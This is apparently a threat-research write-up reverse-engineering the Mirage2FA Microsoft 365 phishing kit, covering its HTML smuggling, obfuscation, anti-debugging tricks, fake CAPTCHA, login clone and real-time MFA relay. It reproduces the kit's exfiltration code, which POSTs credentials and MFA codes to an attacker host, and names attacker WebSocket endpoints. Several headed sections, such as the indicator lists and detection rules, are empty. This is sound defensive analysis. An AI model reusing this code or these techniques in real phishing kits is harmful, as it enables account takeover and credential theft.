Inside Mirage2FA — Reverse-Engineering a Two-Year M365 Phishing Operation

Evidence Summary

This article makes claims beyond the public Fortra baseline. Each major claim and its supporting evidence is listed below. Confidence levels: HIGH = direct tool evidence (deobfuscated code, URLScan results, fetched scripts) · MEDIUM = strong correlative evidence (shared infrastructure, matching patterns) · LOW = OSINT artefacts that require independent verification.

Initial Investigation

Fortra published Mirage2FA indicators around cheacker.store and user.cheacker.store. We extracted the known second-stage paths, fetched and sandboxed available JS loaders, decoded the obfuscation framework, then pivoted across URLScan, certificate transparency, passive DNS, shared path structures, repeated JS loader names, CAPTCHA hosts, and exfil endpoints.

The objective was not to restate Fortra's findings, but to determine whether the kit had broader infrastructure, reused backend services, related historical domains, and detectable JavaScript behaviours. What we found was a two-year, multi-domain operation with a sophisticated real-time MFA relay architecture.

Executive Summary

The kit — named Mirage2FA by the Fortra FIRE team — begins with a phishing email containing an HTML attachment. That attachment uses a technique called HTML smuggling: a Base64-encoded, XOR-encrypted payload that decodes itself at runtime via TextDecoder and eval(), redirecting the victim to a second-stage JavaScript loader hosted on attacker-controlled infrastructure.

That JavaScript file — approximately 94KB in size — is heavily obfuscated with a 310-entry string array, runtime rotation, and 77 local variable aliases. After deobfuscating 930 string references, the full attack chain became clear: a CAPTCHA gate, a pixel-perfect Microsoft 365 login page, two WebSocket C2 channels for real-time operator communication, and a credential exfiltration endpoint that sends email, password, and MFA codes to a Namecheap-hosted server.

The infrastructure spans five hosting providers across the US, Ukraine, and Indonesia. OSINT artefacts — including Telegram bot references in the JS code, a .my.id domain, and ASN registration records — link the campaign to operator-linked aliases using the names LinXcoded and zxcoder. These artefacts should be treated as operator-linked indicators rather than confirmed identity attribution. The operation has been continuously active since at least July 2024.

LIVE AT TIME OF ANALYSIS 2-YEAR CAMPAIGN (HISTORICAL) 94KB JS DEOBFUSCATED

The HTML Smuggling Vector

The initial delivery is an HTML file attached to a phishing email. Two filename patterns have been identified:

• Docxs-AuthForm_Review-ref<hash>-.html — document sharing theme (SHA256: C44AF2B1...)
• Play_voicemail-NowVWAV.htm — voicemail theme (SHA256: E88AC0D6...)

When opened, the HTML file executes a Base64 decode followed by an XOR operation with key 0xAD, passes the result through TextDecoder, and calls eval(). This reconstructs and executes the second-stage payload entirely in memory — nothing is written to disk, and the decoded content never appears in the browser's page source. The victim is then redirected to the obfuscated JavaScript loader.

Obfuscation Framework

The second-stage JavaScript loader is approximately 94KB of heavily obfuscated code. The obfuscation follows a well-known pattern — likely generated by javascript-obfuscator or a similar tool — but with custom parameters that make static analysis extremely tedious without automated deobfuscation.

string array · 310 entries

A function (a0_0x27fa) defines an array of 310+ obfuscated string entries, totalling 47,419 characters. This array holds every piece of text the kit needs: HTML templates, CSS, URLs, WebSocket endpoints, UI strings, error messages, and the base64-encoded exfiltration URL.

rotation iife · seed 0x3b15d

An Immediately Invoked Function Expression rotates the array by repeatedly shifting and pushing elements until a mathematical checksum (0x3b15d = 242,909) matches. Only after the array is in the correct order do string lookups return valid values.

lookup function · 77 aliases

A lookup function (a0_0x6292) takes a hex index, applies an offset (-0x97), and returns the string at that position. Throughout the code, 77 local variables are assigned as aliases to this function — each used to decode strings within its own function scope, preventing simple find-and-replace deobfuscation.

Anti-Analysis Toolkit

The kit implements six distinct anti-analysis mechanisms. Together, they make manual reverse-engineering in a browser environment extremely difficult without automated tooling.

1. Debugger trap

A setInterval runs every 100 milliseconds, executing a debugger statement. If DevTools is open, the debugger pauses execution, creating a measurable time delta. When performance.now() detects a pause longer than 100ms, the page immediately redirects to a decoy URL.

2. Decoy redirect

The redirect target is a legitimate-looking Microsoft 365 URL:

https://outlook.office365.com/encryption/login?itemid=e4e_m_5e217a7d-1049-4a97-9017-6be67ce4532d&recipientemailaddress=user@office.com&senderemailaddress=user@office.com&st=microsoft&anchormailbox=systemmailbox%7b0af09b7f-434f-4b2f-9cbc-57639edcfd9c%7d@any365.onmicrosoft.com&e4e_sdata=

This URL contains realistic Microsoft parameters — itemid, recipient/sender email addresses, an anchor mailbox GUID — making it appear as a genuine Microsoft encryption login endpoint. A researcher who triggers the anti-debug trap lands on what looks like a legitimate Microsoft page.

3. Keyboard shortcut blocking

The kit intercepts and blocks: F12 (DevTools), Ctrl+Shift+I/J/C/K (DevTools panels), Ctrl+U (View Source), Ctrl+H (History), and Meta+Alt+I/C (macOS DevTools). All events have preventDefault() and stopPropagation() called on them.

4. Context menu disabled

Right-click is disabled globally via addEventListener('contextmenu', e => e.preventDefault(), {capture: true}), preventing access to "Inspect Element."

5. MutationObserver

A MutationObserver watches document.body for any DOM changes (childList: true, subtree: true). If a researcher modifies the DOM — for example, to remove the disabled attribute from a button or delete the CAPTCHA element — the observer fires and re-applies all protections.

6. Button protection

All buttons except a honeypot (#dummy-bot-trap) are disabled on page load with disabled=true and data-protected=true. The MutationObserver re-enforces this if any buttons are modified. Automated bot frameworks that click the first available button will click the honeypot, potentially triggering bot detection.

The CAPTCHA Gate

Before the victim sees the login page, they must pass a CAPTCHA gate displaying "Verify you are human" — text that mimics Cloudflare's challenge page, creating a familiar UX that victims trust.

The CAPTCHA image is served from miniapp.ascertain.it.com/captcha.png with a timestamp query parameter to prevent caching. Despite the .png extension, the image is actually a server-generated SVG with randomised coloured paths — an anti-OCR technique that prevents automated solvers from reading the text.

Verification is a POST request to miniapp.ascertain.it.com/captcha/verify with JSON body {"answer": "<user_input>"}. Session cookies are included (credentials: "include"). The retry count is persisted in localStorage as captchaRetryCount.

Bootstrap 4.0.0 CSS (298KB) and jQuery 2.2.4 / 3.1.1 are loaded from the kit's own infrastructure and legitimate CDNs respectively. The CSS is hosted at miniapp.ascertain.it.com/start/xls/includes/css6.css.

The Fake M365 Login

After passing the CAPTCHA, the victim sees a pixel-perfect clone of the Microsoft 365 sign-in page. The page uses jQuery .show() and .hide() to transition between eight distinct states (div0 through div7):

The kit loads genuine Microsoft CDN assets to enhance authenticity: favicon from aadcdn.msauth.net, authenticator app icons, and sign-in option SVGs from aadcdn.msftauth.net. These are real Microsoft infrastructure domains — the phishing page is pulling legitimate assets from Microsoft's own CDN.

Error messages are realistic Microsoft text: "Your account or password is incorrect. If you don't remember your password, reset it now"; "Incorrect 2FA code. Try again."; "Sorry, your sign-in timed out. Please sign in again."

Email input is validated with regex /^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$/ before acceptance.

WebSocket C2 Channels

Mirage2FA uses two distinct WebSocket C2 channels, each serving a different purpose in the attack chain.

Channel 1: Page tracking (wss://user.cheacker.store/wsUlr)

This channel opens after the victim passes the CAPTCHA and clicks "Next." On connection open, the kit fetches the victim's public IP address from api.ipify.org?format=json and sends it to the operator as JSON:

{"action": "page_visit", "ip": "victim_public_ip"}

The operator — who is watching the WebSocket server — now knows a victim has arrived, sees their IP address, and can begin the Microsoft 365 login attempt. The operator responds with a JSON status that controls the phishing page flow:

This is a real-time interactive attack — the operator watches the victim and dynamically selects the MFA bypass method that matches the victim's organisation's configuration.

Channel 2: 2FA real-time relay (wss://user.cheacker.store/8585)

This channel opens when the victim enters their MFA code. The code is sent immediately to the operator via WebSocket, who uses it to complete the Microsoft 365 authentication before the MFA code expires.

Credential Exfiltration

The credential exfiltration endpoint is stored as a Base64-encoded string in the obfuscated string array:

aHR0cHM6Ly9sZXRzZ2V0aXRub3cyLnN0b3JlL3Vsci94d3BzLnBocA==
→ https://letsgetitnow2.store/ulr/xwps.php

The exfil URL is decoded at runtime with atob(), preventing static analysis from revealing the endpoint. Credentials are sent via $.ajax POST with a 5-minute timeout:

$.ajax({
  dataType: "JSON",
  url: atob('aHR0cHM6Ly9sZXRzZ2V0aXRub3cyLnN0b3JlL3Vsci94d3BzLnBocA=='),
  type: "POST",
  timeout: 0x493e0,  // 300,000ms = 5 minutes
  data: {
    ai: email,        // Account Identifier
    pr: password,     // Password
    code: mfa_code    // MFA code
  }
});

The field naming convention (ai, pr, code) is consistent across all five JS loader variants and all 31+ domains. Eight exfiltration paths have been confirmed across five JS loader variants and URLScan discovery:

• /api/xwps.php — a1p2i.js
• /eor/xwps.php — e1o2r.js
• /tsk/xwps.php — t1s2k.js
• /cmr/xwps.php — c1m2r.js
• /ulr/xwps.php — u1l2r.js
• /mor/xwps.php — discovered via URLScan
• /xlr/xwps.php — discovered via URLScan
• /ncb/xwps.php — discovered via URLScan

The exfiltration server — letsgetitnow2.store — is hosted on Namecheap premium hosting (IP: 162.0.209.118, LiteSpeed webserver). Its root domain redirects to google.com as a decoy.

On a successful response (status: "success"), the victim is redirected to https://www.office.com — the legitimate Microsoft Office page — creating the illusion of a successful login.

The Real-Time 2FA Relay

The most sophisticated aspect of Mirage2FA is its dual-path 2FA handling. When a victim enters their MFA code, the kit chooses between two exfiltration paths:

Both WebSocket channels have empty onerror and onclose handlers — the kit silently ignores connection failures to avoid alerting the victim.

Attack Chain

The following diagram illustrates the complete attack chain from phishing email to operator session takeover:

Infrastructure Map

The kit's infrastructure spans five hosting providers across three countries. The operator has maintained continuous operations by rotating domains every 1–3 months while keeping the same backend IPs and JS loader patterns. The following diagram shows the infrastructure architecture:

Indicators of Compromise

network · IPs

network · domains

network · URLs

files · hashes

infrastructure · operator-linked indicators

Detection Coverage

Eight YARA rules and five Sigma rules were written during this investigation, covering the full spectrum of the kit's indicators:

YARA Rules

Sigma Rules

MITRE ATT&CK Mapping

---

The kit has been continuously active for over two years, rotating domains every 1-3 months while maintaining the same backend infrastructure, the same JS loader pattern, and the same exfiltration endpoint. OSINT artefacts link the campaign to operator-linked aliases (LinXcoded / zxcoder) and infrastructure across Telegram, Pterodactyl panels, and a Jaeger tracing UI — these should be treated as indicators rather than confirmed identity attribution. The infrastructure spans five hosting providers across the US, Ukraine, and Indonesia.